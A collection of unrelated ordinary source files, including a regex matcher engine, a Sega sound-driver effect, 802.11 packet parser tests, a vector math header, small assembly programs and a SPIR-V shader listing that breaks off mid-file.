"[match] Found a match (length={}): '{}'", state.string_position - view_index, input.view.substring_view(view_index, state.string_position - view_index)); ++match_count; if (continue_search) { append_match(input, state, view_index); bool has_zero_length = state.string_position == view_index; view_index = state.string_position - (has_zero_length ? 0 : 1); continue; } else if (input.regex_options.has_flag_set(AllFlags::Internal_Stateful)) { append_match(input, state, view_index); break; } else if (state.string_position < view_length) { return { false, 0, {}, {}, {}, output.operations }; } append_match(input, state, view_index); break; } if (!continue_search) break; } ++input.line; input.global_offset += view.length() + 1; // +1 includes the line break character if (input.regex_options.has_flag_set(AllFlags::Internal_Stateful)) m_pattern.start_offset = state.string_position; if (succeeded && !continue_search) break; } MatchOutput output_copy; if (match_count) { output_copy.capture_group_matches = state.capture_group_matches; // Make sure there are as many capture matches as there are actual matches. if (output_copy.capture_group_matches.size() < match_count) output_copy.capture_group_matches.resize(match_count); for (auto& matches : output_copy.capture_group_matches) matches.resize(m_pattern.parser_result.capture_groups_count + 1); if (!input.regex_options.has_flag_set(AllFlags::SkipTrimEmptyMatches)) { for (auto& matches : output_copy.capture_group_matches) matches.template remove_all_matching([](auto& match) { return match.view.is_null(); }); } output_copy.named_capture_group_matches = state.named_capture_group_matches; // Make sure there are as many capture matches as there are actual matches. if (output_copy.named_capture_group_matches.size() < match_count) output_copy.named_capture_group_matches.resize(match_count); output_copy.matches = state.matches; } else { output_copy.capture_group_matches.clear_with_capacity(); output_copy.named_capture_group_matches.clear_with_capacity(); } return { match_count != 0, match_count, move(output_copy.matches), move(output_copy.capture_group_matches), move(output_copy.named_capture_group_matches), output.operations, m_pattern.parser_result.capture_groups_count, m_pattern.parser_result.named_capture_groups_count, }; } template<class Parser> Optional<bool> Matcher<Parser>::execute(const MatchInput& input, MatchState& state, MatchOutput& output, size_t recursion_level) const { if (recursion_level > c_max_recursion) return false; Vector<MatchState, 64> reversed_fork_low_prio_states; MatchState fork_high_prio_state; Optional<bool> success; auto& bytecode = m_pattern.parser_result.bytecode; for (;;) { ++output.operations; auto& opcode = bytecode.get_opcode(state); #if REGEX_DEBUG s_regex_dbg.print_opcode("VM", opcode, state, recursion_level, false); #endif ExecutionResult result; if (input.fail_counter > 0) { --input.fail_counter; result = ExecutionResult::Failed_ExecuteLowPrioForks; } else { result = opcode.execute(input, state, output); } #if REGEX_DEBUG s_regex_dbg.print_result(opcode, bytecode, input, state, result); #endif state.instruction_position += opcode.size(); switch (result) { case ExecutionResult::Fork_PrioLow: reversed_fork_low_prio_states.append(state); continue; case ExecutionResult::Fork_PrioHigh: fork_high_prio_state = state; fork_high_prio_state.instruction_position = fork_high_prio_state.fork_at_position; success = execute(input, fork_high_prio_state, output, ++recursion_level); if (!success.has_value()) return {}; if (success.value()) { state = fork_high_prio_state; return true; } continue; case ExecutionResult::Continue: continue; case ExecutionResult::Succeeded: return true; case ExecutionResult::Failed: return false; case ExecutionResult::Failed_ExecuteLowPrioForks: { Vector<MatchState> fork_low_prio_states; fork_low_prio_states.ensure_capacity(reversed_fork_low_prio_states.size()); for (ssize_t i = reversed_fork_low_prio_states.size() - 1; i >= 0; i--) fork_low_prio_states.unchecked_append(move(reversed_fork_low_prio_states[i])); return execute_low_prio_forks(input, state, output, move(fork_low_prio_states), recursion_level + 1); } } } VERIFY_NOT_REACHED(); } template<class Parser> ALWAYS_INLINE Optional<bool> Matcher<Parser>::execute_low_prio_forks(const MatchInput& input, MatchState& original_state, MatchOutput& output, Vector<MatchState> states, size_t recursion_level) const { for (auto& state : states) { state.instruction_position = state.fork_at_position; dbgln_if(REGEX_DEBUG, "Forkstay... ip = {}, sp = {}", state.instruction_position, state.string_position); auto success = execute(input, state, output, recursion_level); if (!success.has_value()) return {}; if (success.value()) { dbgln_if(REGEX_DEBUG, "Forkstay succeeded... ip = {}, sp = {}", state.instruction_position, state.string_position); original_state = state; return true; } } original_state.string_position = 0; return false; } template class Matcher<PosixBasicParser>; template class Regex<PosixBasicParser>; template class Matcher<PosixExtendedParser>; template class Regex<PosixExtendedParser>; template class Matcher<ECMA262Parser>; template class Regex<ECMA262Parser>; }
Sound66_MegaMackDrop_Header: smpsHeaderStartSong 2 smpsHeaderVoice Sound66_MegaMackDrop_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $02 smpsHeaderSFXChannel cFM5, Sound66_MegaMackDrop_FM5, $EE, $08 smpsHeaderSFXChannel cPSG3, Sound66_MegaMackDrop_PSG3, $00, $00 ; PSG3 Data Sound66_MegaMackDrop_PSG3: smpsPSGform $E7 smpsPSGvoice fTone_09 dc.b nMaxPSG, $36 smpsStop ; FM5 Data Sound66_MegaMackDrop_FM5: smpsSetvoice $00 dc.b nRst, $01, nF1, $02, $02, $02, $30 smpsStop Sound66_MegaMackDrop_Voices: ; Voice $00 ; $32 ; $33, $34, $17, $13, $0F, $1B, $0D, $17, $00, $02, $04, $0B ; $08, $08, $00, $09, $6F, $4F, $5F, $6F, $05, $00, $00, $80 smpsVcAlgorithm $02 smpsVcFeedback $06 smpsVcUnusedBits $00 smpsVcDetune $01, $01, $03, $03 smpsVcCoarseFreq $03, $07, $04, $03 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $17, $0D, $1B, $0F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0B, $04, $02, $00 smpsVcDecayRate2 $09, $00, $08, $08 smpsVcDecayLevel $06, $05, $04, $06 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $00, $00, $05
#include "dot11/dot11_control.h" #ifdef HAVE_DOT11 #include <gtest/gtest.h> #include "tests/dot11.h" using namespace std; using namespace Tins; typedef Dot11::address_type address_type; class Dot11BlockAckRequestTest : public testing::Test { public: static const address_type empty_addr, hwaddr; static const uint8_t expected_packet[]; }; const uint8_t Dot11BlockAckRequestTest::expected_packet[] = { 132, 0, 176, 1, 0, 33, 107, 2, 154, 230, 0, 28, 223, 215, 13, 85, 4, 0, 176, 33 }; void test_equals(const Dot11BlockAckRequest &dot1, const Dot11BlockAckRequest &dot2) { EXPECT_EQ(dot1.fragment_number(), dot2.fragment_number()); EXPECT_EQ(dot1.start_sequence(), dot2.start_sequence()); EXPECT_EQ(dot1.bar_control(), dot2.bar_control()); } void test_equals_expected(const Dot11BlockAckRequest &dot11) { EXPECT_EQ(dot11.type(), Dot11::CONTROL); EXPECT_EQ(dot11.subtype(), Dot11::BLOCK_ACK_REQ); EXPECT_EQ(dot11.bar_control(), 4); EXPECT_EQ(dot11.start_sequence(), 539); EXPECT_EQ(dot11.fragment_number(), 0); } TEST_F(Dot11BlockAckRequestTest, Constructor) { Dot11BlockAckRequest dot11; test_equals_empty(static_cast<const Dot11ControlTA&>(dot11)); EXPECT_EQ(dot11.subtype(), Dot11::BLOCK_ACK_REQ); EXPECT_EQ(dot11.fragment_number(), 0); EXPECT_EQ(dot11.start_sequence(), 0); EXPECT_EQ(dot11.bar_control(), 0); } TEST_F(Dot11BlockAckRequestTest, ConstructorFromBuffer) { Dot11BlockAckRequest dot11(expected_packet, sizeof(expected_packet)); test_equals_expected(dot11); } TEST_F(Dot11BlockAckRequestTest, CopyConstructor) { Dot11BlockAckRequest dot1; dot1.fragment_number(6); dot1.start_sequence(0x294); dot1.bar_control(0x9); Dot11BlockAckRequest dot2(dot1); test_equals(dot1, dot2); } TEST_F(Dot11BlockAckRequestTest, CopyAssignmentOperator) { Dot11BlockAckRequest dot1; dot1.fragment_number(6); dot1.start_sequence(0x294); dot1.bar_control(0x9); Dot11BlockAckRequest dot2; dot2 = dot1; test_equals(dot1, dot2); } TEST_F(Dot11BlockAckRequestTest, ClonePDU) { Dot11BlockAckRequest dot1; dot1.fragment_number(6); dot1.start_sequence(0x294); dot1.bar_control(0x9); Internals::smart_ptr<Dot11BlockAckRequest>::type dot2(dot1.clone()); test_equals(dot1, *dot2); } TEST_F(Dot11BlockAckRequestTest, FromBytes) { Internals::smart_ptr<PDU>::type dot11(Dot11::from_bytes(expected_packet, sizeof(expected_packet))); ASSERT_TRUE(dot11.get() != NULL); const Dot11BlockAckRequest *inner = dot11->find_pdu<Dot11BlockAckRequest>(); ASSERT_TRUE(inner != NULL); test_equals_expected(*inner); } TEST_F(Dot11BlockAckRequestTest, Serialize) { Dot11BlockAckRequest pdu(expected_packet, sizeof(expected_packet)); PDU::serialization_type buffer = pdu.serialize(); ASSERT_EQ(sizeof(expected_packet), buffer.size()); EXPECT_TRUE(std::equal(buffer.begin(), buffer.end(), expected_packet)); } #endif // HAVE_DOT11
#pragma once #ifndef DARK_GLSL #define DARK_GLSL #endif #include "basic.hpp" #include "vec2.hpp" #include <ostream> /*----------1x3 vector */ namespace u { struct vec3 { union { struct { GLfloat x, y, z; }; struct { GLfloat r, g, b; }; struct { GLfloat s, t, p; }; vec2_swizzle<vec2, 0, 1> xy; vec3_swizzle<vec3, 0, 1, 2> xyz; //struct { vec2 rg; }; //struct { vec2 st; }; // //struct { float x; vec2 yz; }; //struct { float r; vec2 gb; }; //struct { float s; vec2 tp; }; GLfloat d[3] = { 0.f, 0.f, 0.f }; }; /* Constructors */ vec3() {} explicit vec3(GLfloat all) : x(all), y(all), z(all) { } vec3(GLfloat a, GLfloat b, GLfloat c) { x = a; y = b; z = c; } //----Positivating-----/ vec3 operator+() const { return vec3(+x, +y, +z); } //----Negating---------/ vec3 operator-() const { return vec3(-x, -y, -z); } /**********************Addition**********************/ GENERATE_OPRETORS_VEC3(+, +=); /**********************Subtraction*******************/ GENERATE_OPRETORS_VEC3(-, -=); /**********************Multiplication****************/ GENERATE_OPRETORS_VEC3(*, *=); /**********************Division**********************/ GENERATE_OPRETORS_VEC3(/ , /=); /* Incrementing and Decrementing Operators */ vec3 operator++(int) { return vec3(x++, y++, z++); } vec3 operator--(int) { return vec3(x--, y--, z--); } vec3 operator++() { return vec3(++x, ++y, ++z); } vec3 operator--() { return vec3(--x, --y, --z); } // Indexing GLfloat &operator[](const int i) const { return (GLfloat&)(d[i > 2 ? -1 : i]); } // Is equal too? const bool operator==(const vec3 &vec) const { return x == vec.x && y == vec.y && z == vec.z; } /* Member Functions */ // Retrives the length of a vector. GLfloat length() const { return GLfloat(glmSqrt(pow2(x) + pow2(y) + pow2(z))); } }; inline std::ostream &operator <<(std::ostream& os, const u::vec3 &vec) { os << '(' << vec.x << ", " << vec.y << ", " << vec.z << ')'; return os; } /* Basic Math Operations with Scalars */ inline vec3 operator*(const GLfloat& value, vec3 vec) { return vec3(vec.x * value, vec.y * value, vec.z * value); } }
;;kernel.asm ;nasm directive - 32 bit bits 32 section .text ;multiboot spec align 4 dd 0x1BADB002 ;magic dd 0x00 ;flags dd - (0x1BADB002 + 0x00) ;checksum. m+f+c should be zero global start start: cli ;block interrupts mov esp, stack_space ;set stack pointer hlt ;halt the CPU section .bss resb 8192 ;8KB for stack stack_space:
; A336257: a(n) = Catalan(n) mod (2*n+1). ; 0,1,2,5,5,9,2,9,2,17,17,21,12,22,2,29,18,30,2,30,2,41,30,45,9,21,2,54,53,57,2,28,38,65,42,69,2,64,70,77,5,81,80,33,2,14,27,45,2,36,2,101,87,105,2,78,2,34,75,6,101,45,62,125,39,129,74,60,2,137,90,88,70,144,2,149,72,50,2,57,98,161,110,165,158,145,2,140,114,177,2,4,160,11,161,189,2,0,2,197 mov $2,$0 mul $0,2 mov $1,$0 bin $0,$2 mul $0,2 add $1,1 mod $0,$1
// This file is part of RAVL, Recognition And Vision Library // Copyright (C) 2001, University of Surrey // This code may be redistributed under the terms of the GNU Lesser // General Public License (LGPL). See the lgpl.licence file for details or // see http://www.gnu.org/copyleft/lesser.html // file-header-ends-here ///////////////////////////////////// //! rcsid="$Id: Event.cc 1175 2002-05-21 14:51:59Z craftit $" //! lib=RavlIO //! file="Ravl/Core/IO/Event.cc" #include "Ravl/DP/Event.hh" #include "Ravl/Stream.hh" namespace RavlN { //: Wait for event. // Return when event occurres. bool DPEventBodyC::Wait() { return false; } //: Has event occured ? // Returns number of events since last call. IntT DPEventBodyC::Occurred() { return 0; } //: Write to output. bool DPEventBodyC::Save(ostream &out) const { out << "DPEventBodyC::Save()\n"; return false; } ///////////////////////////////////////////// //: Dummy function. void DPEventC::Dummy(void) {} }
; Copyright (c) 2005-2017 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ; ; ; ; // __TBB_STRING macro defined in "tbb_stddef.h". However, we cannot include "tbb_stddef.h" // because it contains a lot of C/C++ definitions. So, we have to define __TBB_STRING here: #define __TBB_STRING_AUX( x ) #x #define __TBB_STRING( x ) __TBB_STRING_AUX( x ) // Eliminate difference between IA-32 and Intel 64: AWORD is a type of pointer, LANG is language // specification for extern directive. #ifdef ARCH_ia32 #define AWORD dword #define LANG c #else #define AWORD qword #define LANG #endif #ifdef ARCH_ia32 // These directives are required for IA32 architecture only. .686 .model flat, syscall #endif /* Symbol names. */ // Note: masm for IA-32 does not like symbols defined as "name:" in data sections, // so we have to define symbols with "name label type" directive instead. fname macro sym:req align sizeof AWORD Ln_&sym& label byte byte "&sym&", 0 endm .const // Symbol names are constants. #define __TBB_SYMBOL( sym ) fname sym #include __TBB_STRING( __TBB_LST ) /* Symbol descriptors. */ extern LANG __tbb_internal_runtime_loader_stub : AWORD fsymbol macro sym:req Ls_&sym& label AWORD AWORD __tbb_internal_runtime_loader_stub AWORD Ln_&sym& dword sizeof AWORD dword 1 endm .data align sizeof AWORD public LANG __tbb_internal_runtime_loader_symbols __tbb_internal_runtime_loader_symbols label AWORD #define __TBB_SYMBOL( sym ) fsymbol sym #include __TBB_STRING( __TBB_LST ) AWORD 0, 0 // Terminator of the __tbb_internal_runtime_loader_symbols array. dword 0, 0 /* Generate functions. */ // Helper assembler macro to handle different naming conventions on IA-32 and Intel 64: // IA-32: C++ names preserved, C names require leading underscore. // Intel 64: All names preserved. mangle macro name:req #ifdef ARCH_ia32 if @instr( 1, name, <?> ) exitm @catstr( name ) else exitm @catstr( <_>, name ) endif #else exitm @catstr( name ) #endif endm function macro sym:req mangle( sym ) proc jmp AWORD ptr Ls_&sym& mangle( sym ) endp endm .code #define __TBB_SYMBOL( sym ) function sym #include __TBB_STRING( __TBB_LST ) end // end of file //
; ; Nested Loops ; .386 .model flat,stdcall .STACK include kernel32.inc include masm32.inc includelib kernel32.lib includelib masm32.lib .DATA ExitMsg byte "Press any key to continue . . . ", 00dh, 00ah, 0 CRLF byte 00dh, 00ah, 0 SPACE byte " ", 0 array dword 34, 56, 4, 10, 77, 51, 93, 30, 5, 52 endarray dword 0 arraysize equ endarray-array string byte 10 dup (0) continue byte 0 .CODE main proc ; ; Nested Loops ; mov ebx,0 ; for (i = 0; i < arraysize - 1; i++) outterloop: cmp ebx,arraysize-sizeof(dword) ; compare the number in ebx to arraysize - 1 (i < arraysize - 1;) jge endoutter ; jump if the number is greater than or equal to arraysize -1 mov ecx,ebx ; for (j = i + 1; j < arraysize; j++) add ecx,sizeof(dword) ; start ecx at ebx + 4 (j = i + 1;) innerloop: cmp ecx,arraysize ; compare the number in ecx to arraysize (j < arraysize;) jge endinner ; jump if the number is greater than or equal to arraysize ; ; Print indices i and j ; push ebx ; save ebx push ecx ; save ecx mov eax,ebx ; i is in ebx, move it to eax for printing invoke dwtoa,eax,addr string ; convert the number to an ASCII string invoke StdOut,addr string ; print the number invoke StdOut,addr SPACE ; print a SPACE pop ecx ; restore ecx push ecx ; save ecx mov eax,ecx ; j is in ecx, move it to eax for printing invoke dwtoa,eax,addr string ; convert the number to an ASCII string invoke StdOut,addr string ; print the number invoke StdOut,addr SPACE ; print a SPACE invoke StdOut,addr CRLF ; print a CR LF pop ecx ; restore ecx pop ebx ; restore ebx ; ; End printing indices i and j ; around: ; ; Increment the inner loop variable and continue looping ; add ecx,sizeof(dword) ; increment the number in ebx by 4 (j++) jmp innerloop ; loop back to the top of the loop endinner: ; ; Increment the outter loop variable and continue looping ; add ebx,sizeof(dword) ; increment the number in ebx by 4 (i++) jmp outterloop ; loop back to the top of the loop endoutter: ; ; Print the exit message ; invoke StdOut,addr ExitMsg ; print the exit message invoke StdIn,addr continue,1 ; read to keep console window open invoke ExitProcess,0 ; exit main endp end main
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 1720 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %13 %27 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %13 "_GLF_color" OpName %27 "gl_FragCoord" OpName %58 "GLF_live0target" OpName %61 "buf0" OpMemberName %61 0 "injectionSwitch" OpName %63 "" OpName %510 "i" OpName %512 "uvstep" OpName %536 "slope" OpName %677 "coord" OpName %728 "refh" OpName %732 "tex" OpName %819 "h" OpDecorate %13 Location 0 OpDecorate %27 BuiltIn FragCoord OpMemberDecorate %61 0 Offset 0 OpDecorate %61 Block OpDecorate %63 DescriptorSet 0 OpDecorate %63 Binding 0 OpDecorate %732 RelaxedPrecision OpDecorate %732 DescriptorSet 0 OpDecorate %732 Binding 1 OpDecorate %733 RelaxedPrecision OpDecorate %735 RelaxedPrecision OpDecorate %736 RelaxedPrecision OpDecorate %738 RelaxedPrecision OpDecorate %739 RelaxedPrecision OpDecorate %745 RelaxedPrecision OpDecorate %746 RelaxedPrecision OpDecorate %820 RelaxedPrecision OpDecorate %841 RelaxedPrecision OpDecorate %842 RelaxedPrecision OpDecorate %1053 RelaxedPrecision OpDecorate %1055 RelaxedPrecision OpDecorate %1056 RelaxedPrecision %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeBool %7 = OpConstantFalse %6 %10 = OpTypeFloat 32 %11 = OpTypeVector %10 4 %12 = OpTypePointer Output %11 %13 = OpVariable %12 Output %14 = OpConstant %10 -540.947021 %15 = OpConstant %10 9.5 %16 = OpConstant %10 -6.80000019 %17 = OpConstant %10 -58.3199997 %18 = OpConstantComposite %11 %14 %15 %16 %17 %21 = OpConstant %10 1529.42407 %22 = OpConstant %10 -4627.61572 %23 = OpConstant %10 -410.231995 %24 = OpConstant %10 1333.5343 %25 = OpConstantComposite %11 %21 %22 %23 %24 %26 = OpTypePointer Input %11 %27 = OpVariable %26 Input %28 = OpTypeInt 32 0 %29 = OpConstant %28 0 %30 = OpTypePointer Input %10 %33 = OpConstant %10 0 %39 = OpConstant %10 759.403015 %40 = OpConstant %10 32.9900017 %41 = OpConstant %10 7 %42 = OpConstant %10 -30.2800007 %43 = OpConstantComposite %11 %39 %40 %41 %42 %49 = OpConstant %10 -91.9100037 %50 = OpConstantComposite %11 %49 %49 %49 %49 %51 = OpConstant %10 -0.200000003 %52 = OpConstant %10 -28.9400005 %53 = OpConstant %10 -1.5 %54 = OpConstant %10 -600.786987 %55 = OpConstantComposite %11 %51 %52 %53 %54 %56 = OpTypeInt 32 1 %57 = OpTypePointer Function %56 %59 = OpConstant %56 16371 %60 = OpTypeVector %10 2 %61 = OpTypeStruct %60 %62 = OpTypePointer Uniform %61 %63 = OpVariable %62 Uniform %64 = OpConstant %56 0 %65 = OpTypePointer Uniform %10 %68 = OpConstant %28 1 %74 = OpConstant %10 -9446068 %75 = OpConstant %10 -16704794 %76 = OpConstant %10 -34168664 %77 = OpConstant %10 -2996338.5 %78 = OpConstantComposite %11 %74 %75 %76 %77 %83 = OpConstant %10 86.0999985 %84 = OpConstant %10 8369.18359 %85 = OpConstant %10 -3558.84985 %86 = OpConstant %10 -0.100000001 %87 = OpConstantComposite %11 %83 %84 %85 %86 %92 = OpConstant %10 -8.60000038 %93 = OpConstant %10 -102.133003 %94 = OpConstant %10 -1.60000002 %95 = OpConstant %10 9077.86328 %96 = OpConstantComposite %11 %92 %93 %94 %95 %97 = OpConstant %10 5.30000019 %98 = OpConstant %10 815.995972 %99 = OpConstantComposite %11 %97 %97 %98 %98 %100 = OpConstant %10 -59.5200005 %101 = OpConstant %10 6 %102 = OpConstant %10 9.39999962 %103 = OpConstant %10 3.5 %104 = OpConstantComposite %11 %100 %101 %102 %103 %107 = OpConstant %10 -3.70000005 %108 = OpConstant %10 217.072006 %109 = OpConstant %10 8585.57617 %110 = OpConstant %10 188.942001 %111 = OpConstantComposite %11 %107 %108 %109 %110 %114 = OpConstant %10 25.0400009 %115 = OpConstant %10 -240.231003 %116 = OpConstant %10 620.150024 %117 = OpConstant %10 -0.600000024 %118 = OpConstantComposite %11 %114 %115 %116 %117 %121 = OpConstant %10 11.7399998 %122 = OpConstant %10 -71.4100037 %123 = OpConstant %10 4790.16797 %124 = OpConstantComposite %11 %121 %122 %92 %123 %129 = OpConstant %10 91.9700012 %130 = OpConstant %10 425.083008 %131 = OpConstant %10 22.1599998 %132 = OpConstant %10 -5290.43311 %133 = OpConstantComposite %11 %129 %130 %131 %132 %134 = OpConstant %10 464.152008 %135 = OpConstant %10 6290.11084 %136 = OpConstant %10 -8235.81543 %137 = OpConstant %10 4.69999981 %138 = OpConstantComposite %11 %134 %135 %136 %137 %141 = OpConstant %10 6.9000001 %142 = OpConstant %10 0.5 %143 = OpConstant %10 -3572.84644 %144 = OpConstant %10 2.4000001 %145 = OpConstantComposite %11 %141 %142 %143 %144 %148 = OpConstant %10 -13 %149 = OpConstant %10 -17 %150 = OpConstant %10 -617 %151 = OpConstant %10 -1791 %152 = OpConstantComposite %11 %148 %149 %150 %151 %155 = OpConstant %10 -0x1.8p+128 %156 = OpConstant %10 0x1p+128 %157 = OpConstantComposite %11 %155 %156 %155 %33 %160 = OpConstant %10 6029.22705 %161 = OpConstant %10 21421.0371 %162 = OpConstant %10 24.8710003 %163 = OpConstant %10 7666956 %164 = OpConstantComposite %11 %160 %161 %162 %163 %173 = OpConstant %10 109.643997 %174 = OpConstant %10 8 %175 = OpConstant %10 -2.4000001 %176 = OpConstantComposite %11 %173 %174 %53 %175 %179 = OpConstant %10 0.2836622 %180 = OpConstant %10 0.834712803 %181 = OpConstant %10 -0.196507484 %182 = OpConstant %10 -0.999693036 %183 = OpConstantComposite %11 %179 %180 %181 %182 %186 = OpConstantTrue %6 %195 = OpTypeVector %6 3 %198 = OpConstant %10 6927.19922 %199 = OpConstant %10 -80.0500031 %200 = OpConstant %10 4.4000001 %201 = OpConstant %10 -673.776978 %202 = OpConstantComposite %11 %198 %199 %200 %201 %203 = OpConstant %10 6.80000019 %204 = OpConstant %10 85.9499969 %205 = OpConstant %10 -4 %206 = OpConstant %10 -7.5999999 %207 = OpConstantComposite %11 %203 %204 %205 %206 %208 = OpTypeVector %6 4 %211 = OpConstant %10 -90.2399979 %219 = OpConstant %10 8523.42578 %220 = OpConstant %10 157.830994 %221 = OpConstant %10 -862.015991 %222 = OpConstant %10 -9702.96777 %223 = OpConstantComposite %11 %219 %220 %221 %222 %229 = OpConstant %10 229.684006 %230 = OpConstant %10 -25.4799995 %231 = OpConstant %10 97.8119965 %232 = OpConstant %10 6922.00732 %233 = OpConstantComposite %11 %229 %230 %231 %232 %241 = OpConstant %10 6121.12842 %242 = OpConstant %10 0.400000006 %243 = OpConstant %10 0.800000012 %244 = OpConstant %10 -130.660004 %245 = OpConstantComposite %11 %241 %242 %243 %244 %246 = OpConstant %10 57.4000015 %247 = OpConstant %10 6429.4375 %248 = OpConstant %10 -72.0199966 %249 = OpConstant %10 -51.7400017 %250 = OpConstantComposite %11 %246 %247 %248 %249 %256 = OpConstant %10 80.2900009 %257 = OpConstant %10 -376.475006 %258 = OpConstant %10 -6.30000019 %259 = OpConstant %10 -4396.55127 %260 = OpConstantComposite %11 %256 %257 %258 %259 %266 = OpConstant %10 -7516.66699 %267 = OpConstant %10 -8.19999981 %268 = OpConstant %10 9607.04297 %269 = OpConstant %10 -3.0999999 %270 = OpConstantComposite %11 %266 %267 %268 %269 %273 = OpConstant %10 3990.95752 %274 = OpConstant %10 8.19999981 %275 = OpConstant %10 237.671997 %276 = OpConstantComposite %11 %273 %51 %274 %275 %288 = OpConstant %10 1 %289 = OpTypeMatrix %60 3 %301 = OpConstant %10 -78.0400009 %302 = OpConstant %10 -748.125 %303 = OpConstant %10 790.291016 %304 = OpConstant %10 -2213.51099 %305 = OpConstantComposite %11 %301 %302 %303 %304 %306 = OpConstant %10 3 %307 = OpConstant %10 -9.5 %308 = OpConstant %10 9.30000019 %309 = OpConstant %10 -8896.41602 %310 = OpConstantComposite %11 %306 %307 %308 %309 %318 = OpConstant %10 844.945984 %319 = OpConstant %10 5168.95801 %320 = OpConstant %10 6194.47754 %321 = OpConstant %10 2.5999999 %322 = OpConstantComposite %11 %318 %319 %320 %321 %325 = OpConstant %10 -77.9499969 %326 = OpConstant %10 8968.9707 %327 = OpConstant %10 -997.893005 %328 = OpConstant %10 14.6599998 %329 = OpConstantComposite %11 %325 %326 %327 %328 %332 = OpConstant %10 138.606995 %333 = OpConstant %10 66.9800034 %334 = OpConstant %10 -36.0900002 %335 = OpConstantComposite %11 %137 %332 %333 %334 %359 = OpTypeVector %6 2 %364 = OpConstant %10 -52549992 %365 = OpConstant %10 -91846.7578 %366 = OpConstant %10 -481289.875 %367 = OpConstant %10 -5185704 %368 = OpConstantComposite %11 %364 %365 %366 %367 %371 = OpConstant %10 -674.202026 %372 = OpConstant %10 -563.114014 %373 = OpConstant %10 -8.30000019 %374 = OpConstant %10 5.9000001 %375 = OpConstantComposite %11 %371 %372 %373 %374 %376 = OpConstant %10 0.0177999996 %377 = OpConstant %10 0.300000012 %378 = OpConstant %10 0.880599976 %379 = OpConstantComposite %11 %376 %242 %377 %378 %380 = OpConstant %10 314332.719 %381 = OpConstant %10 1106947.62 %382 = OpConstant %10 -6200.26562 %383 = OpConstant %10 -77019.9375 %384 = OpConstantComposite %11 %380 %381 %382 %383 %385 = OpConstant %10 1.54167557 %386 = OpConstant %10 -1.31979358 %387 = OpConstant %10 -1.55901968 %388 = OpConstant %10 -1.46700394 %389 = OpConstantComposite %11 %385 %386 %387 %388 %395 = OpConstant %10 -0.800000012 %396 = OpConstant %10 7.30000019 %397 = OpConstant %10 -8.69999981 %398 = OpConstantComposite %11 %373 %395 %396 %397 %401 = OpConstant %10 -9 %402 = OpConstant %10 -3.5 %403 = OpConstant %10 657.507996 %404 = OpConstantComposite %11 %401 %402 %403 %141 %407 = OpConstant %10 0.989708781 %408 = OpConstant %10 0.385143429 %409 = OpConstant %10 -0.145500034 %410 = OpConstant %10 -0.916368544 %411 = OpConstantComposite %11 %407 %408 %409 %410 %417 = OpConstantComposite %11 %155 %155 %155 %155 %420 = OpConstant %10 18.6900005 %421 = OpConstant %10 247.399994 %422 = OpConstant %10 -1.39999998 %423 = OpConstant %10 9.89999962 %424 = OpConstantComposite %11 %420 %421 %422 %423 %432 = OpConstant %10 -0.919779897 %433 = OpConstant %10 0.717356086 %434 = OpConstant %10 -0.993474007 %435 = OpConstant %10 -0.099833414 %436 = OpConstantComposite %11 %432 %433 %434 %435 %444 = OpConstant %10 -420.867004 %445 = OpConstant %10 -980.328979 %446 = OpConstant %10 -8110.93506 %447 = OpConstant %10 -70.1600037 %448 = OpConstantComposite %11 %444 %445 %446 %447 %451 = OpConstant %10 -297.264008 %452 = OpConstant %10 -56.3600006 %453 = OpConstant %10 4977.48682 %454 = OpConstant %10 45.2099991 %455 = OpConstantComposite %11 %451 %452 %453 %454 %458 = OpConstant %10 -0.152003095 %459 = OpConstant %10 0x1.8p+128 %460 = OpConstantComposite %11 %458 %459 %459 %459 %463 = OpConstant %10 20.1499996 %464 = OpConstant %10 -8745.99121 %465 = OpConstant %10 10.79 %466 = OpConstantComposite %11 %103 %463 %464 %465 %474 = OpConstant %10 -776.416016 %475 = OpConstant %10 -12.1099997 %476 = OpConstant %10 -82.5899963 %477 = OpConstantComposite %11 %474 %142 %475 %476 %490 = OpConstant %10 -5622.32422 %491 = OpConstant %10 -6955.00977 %492 = OpConstant %10 7.0999999 %493 = OpConstant %10 -7118.2832 %494 = OpConstantComposite %11 %490 %491 %492 %493 %495 = OpTypeVector %56 2 %496 = OpConstant %56 -43000 %497 = OpConstant %56 -58735 %498 = OpConstantComposite %495 %496 %497 %500 = OpConstant %10 602.883972 %506 = OpConstant %10 -77 %507 = OpConstant %10 9 %508 = OpConstant %10 -655 %509 = OpConstantComposite %11 %306 %506 %507 %508 %511 = OpTypePointer Function %60 %513 = OpConstant %10 0.00390625 %514 = OpConstantComposite %60 %513 %513 %519 = OpConstant %10 -5.4000001 %520 = OpConstant %10 7.4000001 %521 = OpConstant %10 5.0999999 %522 = OpConstant %10 2.29999995 %523 = OpConstantComposite %11 %519 %520 %521 %522 %524 = OpConstant %10 20.2199993 %525 = OpConstant %10 2.9000001 %526 = OpConstant %10 -9.69999981 %527 = OpConstantComposite %11 %524 %525 %205 %526 %530 = OpConstant %10 8.80000019 %531 = OpConstant %10 64.4400024 %532 = OpConstant %10 -987.362 %533 = OpConstant %10 977.445984 %534 = OpConstantComposite %11 %530 %531 %532 %533 %535 = OpTypePointer Function %10 %537 = OpConstant %10 2 %538 = OpConstant %10 256 %539 = OpConstant %10 6.30000019 %540 = OpTypePointer Function %11 %552 = OpTypeMatrix %11 4 %553 = OpConstantComposite %11 %288 %33 %33 %33 %554 = OpConstantComposite %11 %33 %288 %33 %33 %555 = OpConstantComposite %11 %33 %33 %288 %33 %556 = OpConstantComposite %11 %33 %33 %33 %288 %557 = OpConstantComposite %552 %553 %554 %555 %556 %562 = OpConstant %10 6648.30273 %563 = OpConstant %10 